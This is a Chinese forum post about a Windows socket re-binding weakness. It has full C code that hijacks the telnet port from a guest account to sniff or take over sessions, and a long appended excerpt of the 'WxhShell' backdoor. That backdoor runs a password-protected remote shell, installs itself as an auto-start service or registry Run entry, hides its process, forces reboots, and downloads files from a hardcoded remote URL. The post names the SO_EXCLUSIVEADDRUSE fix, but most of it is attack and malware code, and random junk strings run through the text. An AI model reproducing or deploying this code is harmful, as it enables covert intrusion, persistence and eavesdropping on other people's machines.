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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?xTdL738  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ov xX.h O  
R? Ys%~5  
  saddr.sin_family = AF_INET; Lb=4\ _  
@Jh;YDr`A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]DJ] L=T7  
WHkrd8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w~a_FGYX  
iJaA&z5sr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n/ m7+=]v  
7eU|iDYo  
  这意味着什么?意味着可以进行如下的攻击: nqv#?>Z^OT  
e0e3b]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CqAv^n7 }  
O!3`^_.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >|W\8dTQ  
dN)@/R^E;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :c/](M  
o0B3G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [j;#w,Wb  
BpR#3CfW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )4O* D92  
<#ZDA/G(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A5q%yt I  
C< B1zgX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |M$ESj4@  
Cn"L*\o  
  #include k2Dq~zn  
  #include @ C"w 1}  
  #include R=m9[TgBm  
  #include    ~i5t1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =N?K)QD`  
  int main() cERmCe|/CG  
  { tj< 0q<is  
  WORD wVersionRequested; p+.{"%  
  DWORD ret; 6>e YG <y{  
  WSADATA wsaData; \!J9|  
  BOOL val; F#>^S9Gml  
  SOCKADDR_IN saddr; 6v(;dolBIw  
  SOCKADDR_IN scaddr; >sZ207*  
  int err; sqjv3=}  
  SOCKET s; Xhk_h2F[  
  SOCKET sc; nNP{>\x;"  
  int caddsize; _usi~m  
  HANDLE mt; <&87aDYz  
  DWORD tid;   r$/.x6g//  
  wVersionRequested = MAKEWORD( 2, 2 ); ^BN?iXQhN  
  err = WSAStartup( wVersionRequested, &wsaData ); K[Ao_v2g  
  if ( err != 0 ) { =>u9k:('9  
  printf("error!WSAStartup failed!\n"); <pp<%~_Z  
  return -1; X)^&5;\`  
  } \CKf/:"  
  saddr.sin_family = AF_INET; a";xG,U  
   \+I+Lrj%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &h67LMD!  
KOP*\\1 J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q%Y r m  
  saddr.sin_port = htons(23); 67b[T~92o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ATq-&1hs  
  { K4|{[YpPB  
  printf("error!socket failed!\n"); Ng;Fhv+  
  return -1; ufc_m4PN  
  } /sa\Ze;E  
  val = TRUE; vkg."G:=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L\/YS;Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %>)&QZig/  
  { $ 8WJ$73  
  printf("error!setsockopt failed!\n"); f^D4aEU  
  return -1; nq3B(  
  } ^[u*m%UB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F3,djZq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dq U.2~9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2Hj;o  
K26x,m]p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GTBT0$9 g.  
  { _>)=c<HL  
  ret=GetLastError(); z;KUIWg  
  printf("error!bind failed!\n"); -7\6j#;l  
  return -1; ;DN:AgXP  
  } OK1f Y`$z  
  listen(s,2); /&Vgo ~.J  
  while(1) a"|\n_  
  { u*C"d1v=  
  caddsize = sizeof(scaddr); `<x|< ey  
  //接受连接请求 VjhwafYC  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A Q e~F  
  if(sc!=INVALID_SOCKET) ja|XFs~  
  { "RG #e +  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K-f\nr  
  if(mt==NULL) q1O}dSPwX  
  { VN[i;4o:|  
  printf("Thread Creat Failed!\n"); \y*,N^wu  
  break; ukH?O)0O  
  } *iW$>Yjb  
  } M!E#T-)  
  CloseHandle(mt); 76M`{m  
  } i[M]d`<36  
  closesocket(s); kFi^P~3D[  
  WSACleanup(); 2xJT!lN  
  return 0; ~!G&K`u  
  }   q*kieqG  
  DWORD WINAPI ClientThread(LPVOID lpParam) SjRR8p<   
  { !&=%#i  
  SOCKET ss = (SOCKET)lpParam; D8I)3cXa'  
  SOCKET sc; <1EmQ)B   
  unsigned char buf[4096]; ~RS^O poa  
  SOCKADDR_IN saddr; {Q@pF  
  long num; |}y6U< I  
  DWORD val; B%e#u.'6  
  DWORD ret; %M_5C4&6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B,dHhwO*l  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +iL,8eW  
  saddr.sin_family = AF_INET; p<9e5`& I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y><")%Q  
  saddr.sin_port = htons(23); _-.~>C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !1M=9 ~$!  
  { 7L=V{,,v  
  printf("error!socket failed!\n"); ;"@FLq(n  
  return -1; bk#t+tuk  
  } }hjJt,m  
  val = 100; 8*V8B=q}K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uVBMI.&w  
  { l8_TeO  
  ret = GetLastError(); EjYCOb-  
  return -1; M+N7JpR  
  } koizk&)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b[I;6HW  
  { 2r]!$ hto  
  ret = GetLastError(); rLm:qu(F1  
  return -1; dGb]`*E  
  } ,UD,)ZPf[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ecI[lB  
  { E*t0ia8  
  printf("error!socket connect failed!\n"); =>7\s}QZ  
  closesocket(sc); bC mhlSNi  
  closesocket(ss); aF'9&A;q  
  return -1; @$(/6]4p  
  } +yYv"J  
  while(1) sa71Vh{  
  { &2!F:L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .7nr:P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &$ ?i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 XU}sbbwu  
  num = recv(ss,buf,4096,0); ]GS@ub  
  if(num>0) 2Rp'ju~O)/  
  send(sc,buf,num,0); K)!?np{km  
  else if(num==0) #^bkM)pc  
  break; Kb#}f/  
  num = recv(sc,buf,4096,0); 3GSoHsNk  
  if(num>0) Ye8&cZ*.  
  send(ss,buf,num,0); vkXdKL(q  
  else if(num==0) Va1 eG]jQ  
  break; L/.$0@$bv  
  } U*' YGv  
  closesocket(ss); L|3wG Y9E  
  closesocket(sc); lj1wTiaI(  
  return 0 ; "lp),  
  } fi[c^e+IX  
cXJtNW@  
?6bk&"T?  
========================================================== 'CH|w~E  
.+H8c.  
下边附上一个代码,,WXhSHELL ='7n  
USnKj_e  
========================================================== .bm#|X)RO  
<9S?wju4W'  
#include "stdafx.h" KJwkkCE/=  
I]`>m3SJ  
#include <stdio.h> 2wWL]`(E  
#include <string.h> z:aT5D  
#include <windows.h> COw]1 R  
#include <winsock2.h> .~4>5W"u  
#include <winsvc.h> `O5kI#m)L*  
#include <urlmon.h> TXi$Q%0W  
*XmOWV2Y_  
#pragma comment (lib, "Ws2_32.lib") +|OkT  
#pragma comment (lib, "urlmon.lib") 0 mWfR8h0  
] =jnt  
#define MAX_USER   100 // 最大客户端连接数 3:rH1vG.m  
#define BUF_SOCK   200 // sock buffer Qhnz7/a9  
#define KEY_BUFF   255 // 输入 buffer >8 V;:(nt  
.,K?(O4AY  
#define REBOOT     0   // 重启 Qr;es,f  
#define SHUTDOWN   1   // 关机 "Yn <]Pa_  
62}bs/%  
#define DEF_PORT   5000 // 监听端口 &Z+a (  
JlF0L%Rc  
#define REG_LEN     16   // 注册表键长度 %<e\s6|P:  
#define SVC_LEN     80   // NT服务名长度 HRx%m1H  
BEM+FG  
// 从dll定义API Z;@F.r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y.?|[x0Wh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XHO}(!l\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XbJ=lH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hnM|=[wM  
O\L(I079  
// wxhshell配置信息 <ZJ>jZV0*  
struct WSCFG { i&^?p|eKa  
  int ws_port;         // 监听端口 zjh&?G]:G  
  char ws_passstr[REG_LEN]; // 口令 '[p~| mX  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3MC| O5R4  
  char ws_regname[REG_LEN]; // 注册表键名 lX`)Avqa  
  char ws_svcname[REG_LEN]; // 服务名 u pf7:gk +  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {MKq Yl{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *g5df[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b9(d@2MtK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y#c11q Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E~zLhJTUL'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IPcAE!h6zN  
PZO7eEt8  
}; @ -JD`2z  
q<}5KY  
// default Wxhshell configuration dCcV$BX,K  
struct WSCFG wscfg={DEF_PORT, P _t8=d  
    "xuhuanlingzhe", o><~.T=d&  
    1, _c%]RE  
    "Wxhshell", n(a7%Hx2  
    "Wxhshell", F5%-6@=  
            "WxhShell Service", 3vOI=ar=L~  
    "Wrsky Windows CmdShell Service", qTiUha9  
    "Please Input Your Password: ", C%v@ u$N  
  1, -,96Qg4vI  
  "http://www.wrsky.com/wxhshell.exe", ##,i<  
  "Wxhshell.exe" 4aAr|!8|h!  
    }; 0i$jtCCL(  
kT UQ8U  
// 消息定义模块 9U58#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C^r3r6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +U^dllL7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ap\2={u^|  
char *msg_ws_ext="\n\rExit."; g 4d 5G=y  
char *msg_ws_end="\n\rQuit."; mCtuyGY  
char *msg_ws_boot="\n\rReboot..."; w"-bO ~5h  
char *msg_ws_poff="\n\rShutdown..."; V/|Ln*rm  
char *msg_ws_down="\n\rSave to "; t9m: E  
E[LXZh  
char *msg_ws_err="\n\rErr!"; P-No;/!B#  
char *msg_ws_ok="\n\rOK!"; tF&%7(EU3  
uGJeQ  
char ExeFile[MAX_PATH]; ~SZ0Yu:X  
int nUser = 0; n<lU;  
HANDLE handles[MAX_USER]; wH!]B-hn  
int OsIsNt; N{P (ym2yR  
_Ux>BJmP  
SERVICE_STATUS       serviceStatus; AUoi$DF(@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M.d{:&@`%  
622mNY  
// 函数声明 >Q+a'bd w  
int Install(void); ,D3q8?j  
int Uninstall(void); 4ej$)AdW3  
int DownloadFile(char *sURL, SOCKET wsh); %dL|i2+*8  
int Boot(int flag); "C=HBJdYB5  
void HideProc(void); u[s+YGS  
int GetOsVer(void); \{G6!dV|S  
int Wxhshell(SOCKET wsl); ^gkyi/z  
void TalkWithClient(void *cs); 8c__ U<  
int CmdShell(SOCKET sock); oLX6w  
int StartFromService(void); ` M4; aN  
int StartWxhshell(LPSTR lpCmdLine); MH"c=mL:  
I|9e4EX{y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l},px  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IQScsqM  
0,m*W?^31  
// 数据结构和表定义 yQ+#Tlji  
SERVICE_TABLE_ENTRY DispatchTable[] = m98k /w_  
{ X/i8$yqv  
{wscfg.ws_svcname, NTServiceMain}, :n'QN Gj  
{NULL, NULL} |ki#MtCp  
}; gNLjk4H,S[  
X^9_'T9  
// 自我安装 #JuO  
int Install(void) 'L3 \I  
{ &r DOqj  
  char svExeFile[MAX_PATH]; [rPW@|^5  
  HKEY key; TmX~vZ  
  strcpy(svExeFile,ExeFile); ,[Cl'B  
o?p) V^7  
// 如果是win9x系统,修改注册表设为自启动  }tv-  
if(!OsIsNt) { gMI%z2]'-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *TE6p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7GK| A{r  
  RegCloseKey(key); LUo3y'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .Ji r<"*<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P$]Vb'Fz  
  RegCloseKey(key); oi"Bf7{  
  return 0; z0g]nYN%  
    } c q3C N@  
  } Y60ld7H  
} 4G_dnf_  
else { 92 Pp.Rh  
"5dh]-m n  
// 如果是NT以上系统,安装为系统服务 b;m6m4i'f{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mvUYp,JECl  
if (schSCManager!=0) R"O9~s6N  
{ M_79\Gz"  
  SC_HANDLE schService = CreateService =nid #<X  
  ( ~`-9i{L  
  schSCManager, #0xvxg%{  
  wscfg.ws_svcname, p2&KGt X'  
  wscfg.ws_svcdisp, WJz   
  SERVICE_ALL_ACCESS, \=yg@K?"AJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SfL,_X]*  
  SERVICE_AUTO_START, fEQ<L!'  
  SERVICE_ERROR_NORMAL, !0Q(x  
  svExeFile, U}Xc@- \ ?  
  NULL, %WCpn<)  
  NULL, um3 M4>K  
  NULL, o"n^zG  
  NULL, 8`u#tl(  
  NULL 0^[ " &K/  
  ); YuPgsJ[m  
  if (schService!=0) <o?qpW$,>  
  { YT:<AJm  
  CloseServiceHandle(schService); qU2>V  
  CloseServiceHandle(schSCManager); C 7+TnJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k9R1E/;  
  strcat(svExeFile,wscfg.ws_svcname); 'R=o,=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &I!2gf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :hJhEQH(9  
  RegCloseKey(key); ]E=JUYf0  
  return 0; oTx#e[8f{  
    } o Y.JK  
  } N(1jm F  
  CloseServiceHandle(schSCManager); a-QHm;_S  
} gXw\_ue<  
} }#E4t3  
u5R^++  
return 1; JHO9d:{-  
} 2d3wQ)2  
SxH}/I|W  
// 自我卸载 9m6w.:S  
int Uninstall(void) /pb7  
{ #Wc)wL-Tg  
  HKEY key; bJBx~  
5utj$ha2  
if(!OsIsNt) { ^`dp!1.+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '!f5|l9SC  
  RegDeleteValue(key,wscfg.ws_regname); v"$; aJ  
  RegCloseKey(key); &kO4^ A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xq)'p8C?  
  RegDeleteValue(key,wscfg.ws_regname); Nz:  
  RegCloseKey(key); d1E~H]X4  
  return 0; 9d2$F9]:o  
  } le[5a=e(  
} t}oxHEa V  
} eq4<   
else { l0@$]76cX;  
y|lP.N/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UoKBcarm  
if (schSCManager!=0) dR=SW0Oa{  
{ ,bH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); | c8u  
  if (schService!=0) CyXcA;H,.  
  { Wq>j;\3b3  
  if(DeleteService(schService)!=0) { mU\$piei  
  CloseServiceHandle(schService); r%B5@+{so  
  CloseServiceHandle(schSCManager); uP* >-s'm  
  return 0; "?S#vUS+ 2  
  } qrOTb9&y  
  CloseServiceHandle(schService); pxY5S}@  
  } =_,OucKkYG  
  CloseServiceHandle(schSCManager); :YV!;dKJ  
} xHL{3^  
} +zw<iB)J  
=8J\;h  
return 1; hQet?*diU  
} 6Q wL  
qK#* UR0%  
// 从指定url下载文件 .#Sd|C]R7  
int DownloadFile(char *sURL, SOCKET wsh) 8;Pdd1GyUL  
{ (ZI&'"H  
  HRESULT hr; I'yhxymZ;  
char seps[]= "/"; 74[}AA  
char *token; a\MU5%}\  
char *file; 8?)Da&+f  
char myURL[MAX_PATH]; f,uxoAS  
char myFILE[MAX_PATH]; )0'O!O  
<A6<q&g|E  
strcpy(myURL,sURL); "3>#[o  
  token=strtok(myURL,seps); 5VPuHY2  
  while(token!=NULL) 6>vj({,1Y*  
  { 0<Pe~i_=  
    file=token; @?%"nK  
  token=strtok(NULL,seps); i2!{.*.  
  } :8 )4:4$^  
K8RloDjk_A  
GetCurrentDirectory(MAX_PATH,myFILE); uV\=EDno  
strcat(myFILE, "\\"); vu#:D1/BB  
strcat(myFILE, file); <w:fR|O  
  send(wsh,myFILE,strlen(myFILE),0); C<7J5  
send(wsh,"...",3,0); ! TRiFD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); % -SP  
  if(hr==S_OK) ~&q e"0  
return 0; I7Eg$J&  
else ca`=dwe>  
return 1; --/  .  
P]x@h  
} O;zW'*c+  
T-x`ut7c  
// 系统电源模块 qxrOfsh  
int Boot(int flag) S_WY91r  
{ oC?b]tzj  
  HANDLE hToken; sy#Gb#=#  
  TOKEN_PRIVILEGES tkp; yqYX<<!V  
RoiMvrJQP  
  if(OsIsNt) { =kCpCpET  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9\n}!{@i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x Dr^&rC  
    tkp.PrivilegeCount = 1; EgO4:8$h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o^NQ]BdH8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rms&U)?  
if(flag==REBOOT) { [AGm%o=)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) REsThB  
  return 0; ofi']J{R  
} g 08 `=g  
else { iy4JI,-W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (;M"'. C  
  return 0; cCeD3CuRA%  
} ov+qYBuFw  
  } \:#b9t{B-  
  else { 8<G@s`*  
if(flag==REBOOT) { v0y7N_U5n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #" OKO6]  
  return 0; 1|]-F;b  
} ,L^L uw'7  
else { +GGj*sD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5eU/ [F9  
  return 0; K~E]Fkw!;  
} jBQQ?cA  
} 2V0R|YUt  
nOB ]?{X  
return 1; ruW6cvsvet  
} ML]?`qv '  
}s|v-gRM{  
// win9x进程隐藏模块 &]M<G)9  
void HideProc(void) 5N6%N1  
{ `BvcI n4do  
n}+ DO6J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p\HXE4d'  
  if ( hKernel != NULL ) IW46-;l7  
  { ?L $KlF Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jC@^/rMh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l)|CPSN?w  
    FreeLibrary(hKernel); vB,N6~r>  
  } 6SmSu\lgV  
:[rx|9M6  
return; 'X?`+2wK   
} o+vf  
YnMph0\Y^  
// 获取操作系统版本 ~<eiWDf  
int GetOsVer(void) 3! +5MsR+  
{ (5I]umtge  
  OSVERSIONINFO winfo; m1<B6*iG"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); );6zV_^!  
  GetVersionEx(&winfo); 3646.i[D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RWoiV10  
  return 1; Md~mI8  
  else 7}#vANm  
  return 0; 78Gvc~j  
} %iGME%oXr  
e 9:l  
// 客户端句柄模块 $`Ou*  
int Wxhshell(SOCKET wsl) {L+?n*;CA  
{ l(`w]=t&  
  SOCKET wsh; bT;C8i4b\H  
  struct sockaddr_in client; g &za/F  
  DWORD myID; ;aF / <r  
,aN/``j=  
  while(nUser<MAX_USER) S*]IR"YL  
{  <O*q;&9  
  int nSize=sizeof(client); !1l2KW<be  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dfrq8n]  
  if(wsh==INVALID_SOCKET) return 1; !!QMcx_C#/  
EmH{G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ucn aj|  
if(handles[nUser]==0) mkWIJH  
  closesocket(wsh); XI0O^[/n{  
else X3"V1@-i4$  
  nUser++; mA4v  4z  
  } 4j | vzyc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lDH0bBmd0  
h!Ka\By8#  
  return 0; ve.4""\a  
} +F/'+  
w&H ?;1  
// 关闭 socket %'>. R  
void CloseIt(SOCKET wsh) $a-~ozr`C  
{ `KL`^UqR  
closesocket(wsh); 8'?e4;O  
nUser--; -r,J>2`l  
ExitThread(0); \\'!<Bn2d  
} ^GbyAYEp  
[$./'-I]  
// 客户端请求句柄 @wg*~"d  
void TalkWithClient(void *cs) Y,8M[UIK  
{ $HH(8NoL  
*s!8BwiE  
  SOCKET wsh=(SOCKET)cs; _ x7Vyy5  
  char pwd[SVC_LEN]; :4WwCpgz,  
  char cmd[KEY_BUFF]; WOwIJrP  
char chr[1]; lfGiw^  
int i,j; 3!d|K%J  
We9mkwK7C  
  while (nUser < MAX_USER) { fEpY3od  
ja:%j&:  
if(wscfg.ws_passstr) { 1{,WY(,c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mpj3<vj   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~@-Az([H  
  //ZeroMemory(pwd,KEY_BUFF); A$ S9 `  
      i=0; L*5&hPU  
  while(i<SVC_LEN) { Yd,*LYd2EL  
u'N'<(\k  
  // 设置超时 9 ROKueP  
  fd_set FdRead; ~MXPiZG?  
  struct timeval TimeOut; H7{ 6t(0j  
  FD_ZERO(&FdRead); -aO3/Ik [q  
  FD_SET(wsh,&FdRead); O,bj_CWx  
  TimeOut.tv_sec=8; 5!5P\o  
  TimeOut.tv_usec=0; Bb1dH/8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b\^.5SEw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /fD)/x  
r)b`3=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ny MA%9,B  
  pwd=chr[0]; >#kzPYsp  
  if(chr[0]==0xd || chr[0]==0xa) { eAl&[_o|S  
  pwd=0; #fFEo)YG  
  break; 6IvLr+I  
  } ^+P]_< 43  
  i++; ]vlQNd?  
    } 2V  
I*24%z9  
  // 如果是非法用户,关闭 socket :H?p^d e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z|~<B4#c  
} EatpORq  
*m|]c4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E]g KJVf9[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); beq)Frn^  
} HvVL}7  
while(1) { r67 3+  
xWV_Do)z  
  ZeroMemory(cmd,KEY_BUFF); xi.;`Q^#  
hTy#Q.=  
      // 自动支持客户端 telnet标准   7?kvrIuY&  
  j=0; s{CSU3vYmi  
  while(j<KEY_BUFF) { Z1>pOJm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5-+Y2tp}  
  cmd[j]=chr[0]; x &\~4,TN  
  if(chr[0]==0xa || chr[0]==0xd) { lh5k@\X  
  cmd[j]=0; 2S/^"IM["  
  break; 8Mp  
  } \"f}Fx  
  j++; Bd7A-T)q!  
    } ;z[yNW8  
1 ltoLd\{  
  // 下载文件 =XYfzR  
  if(strstr(cmd,"http://")) { eDy}_By^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =|jOio=s:  
  if(DownloadFile(cmd,wsh)) v=/V<3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |g7E*1Ie  
  else }b+=,Sc"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k1%Ek#5  
  } (57x5qP X  
  else { a1Gy I  
G& ;W  
    switch(cmd[0]) { eR3!P8t  
  0 ">#h  
  // 帮助 TM"i9a? ;  
  case '?': { MLp5Y\8*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jOe %_R  
    break; d$>1 2>>  
  } "r|O /   
  // 安装 Et7AAV*8g  
  case 'i': { r_ o2d8  
    if(Install()) 5:AAqMa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aoCyYnZD  
    else lk+)-J-lj'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?C4a,%  
    break; 9aXm}  
    } , X|oCD  
  // 卸载 3"<{YEj8U  
  case 'r': { O[8Lp?  
    if(Uninstall()) LtNG<n)_BH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;)o%2#I  
    else mT~:k}u~W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \;g{qM 8  
    break; A]>0lB  
    } @ VJr0  
  // 显示 wxhshell 所在路径 |"ck;.)  
  case 'p': { lQ)8zI  
    char svExeFile[MAX_PATH]; K;YK[M1!  
    strcpy(svExeFile,"\n\r"); =b; v:HC  
      strcat(svExeFile,ExeFile); c[Y7tj%y  
        send(wsh,svExeFile,strlen(svExeFile),0); O[-wm;_(=*  
    break; H p1cVs  
    } T$'Ja'9Kj  
  // 重启 R (hq Ba/V  
  case 'b': { M>'-P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); } #$Y^ +UN  
    if(Boot(REBOOT)) n2T vPt\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^%C.S :  
    else { []u!piW  
    closesocket(wsh); ,.E:mm  
    ExitThread(0); 3J@# V '  
    } IoA"e@~t  
    break; o fN|%g /  
    } ##FN0|e&  
  // 关机 !5[?n3  
  case 'd': { E|ZY2&J`4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ey y&JjVs  
